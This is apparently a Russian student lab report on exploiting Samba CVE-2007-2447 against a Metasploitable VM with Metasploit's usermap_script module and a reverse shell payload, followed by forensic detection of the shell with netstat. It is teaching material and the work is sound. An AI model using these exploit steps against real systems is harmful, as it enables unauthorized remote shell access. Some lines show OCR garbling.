Лабораторная работа №3.

Использование уязвимости протокола Samba:

CVE - 2007 - 2447. Сетевая Форензика

Выполнил Трофимов Даниил 11-902.

Ход работы:

- 1. Были развернуты виртуальные машины Kali Linux и Metasploitable
- 2. Развернута проверка корректной настройки сети между Metasploitable и Kali Linux
- 3.ATaka Ha Metasploitable
- 4. Было проведено сканирование Metasploitable на виртуальной машине Kali Linux с помощью команды (nmap -p 1-65535 -T4 -A -v MS IP 2>&1 | tee /var/tmp/scan.txt) и выполнено сканирование виртуальной машины Metasploitable, сканирования сохранен результат /var/tmp/scan.txt, определены порты, которые пакетом samba, и используются NX craryc, выполнив анализ файла, подготовленного предыдущем шаге, с помощью команды grep.

Samba - это программное обеспечение для организации обмена файлами и работы с общими ресурсами между компьютерами

- 5. Активация эксплоита для использования уязвимости CVE 2007 2447. В терминале атакующей машины была запущена консоль фреймворка Metasploitable. Был найден в списке эксплоитов и запущен эксплоит, позволяющий использовать уязвимость CVE 2007 2447, с помощью команды use exploit/multi/samba/usermap_script. Выведен список payload, доступных для данного эксплоита, после выполнения команды show payloads. Payload часть вредоносного ПО, позволяющая «атакующему» контролировать систему «жертвы» после того, как система была взломана, осуществляющая вредоносное действие.
- 6.Для эксплоита установлен payload, осуществляющий передачу sh-консоли по telnet с помощью команды set PAYLOAD cmd/unix/reverse;
- 7. Выведен список доступных опций для эксплоита с помощью команды show options;
- 8.Установлены значения параметров: RHOST MS_IP, RPORT , LHOST KL IP;
- 9. Запущен эксплоит командой exploit;
- 10. Проверка успешности атаки на машину жертвы

Форензика

Выявление аномальной активности на машине-жертве.

- 1. Проверка на взлом: были повышены привилегии до привилегий супер-пользователя;
- 2.Осуществлен поиск аномальной активности с помощью утилиты netstat определен перечень «подозрительно» открытых портов и системных процессов, работающих на этих портах;
- 3. Выполнен анализ таких системных процессов, результатом анализа должно быть обнаружение

- «подозрительного» соединения IP-адреса и порта «атакующего»;
- 4. Выполнен анализ системных процессов, инициированных «атакующим» и работающих с портом «атакующего» (анализ выполнить по определенному на предыдущем шаге номеру порта «атакующего»), результатом должно быть обнаружение передачи sh-консоли средствами telnet;
- 5. coxpaнeны результаты анализа в файл /var/tmp/samba.txt.

Результат работы:

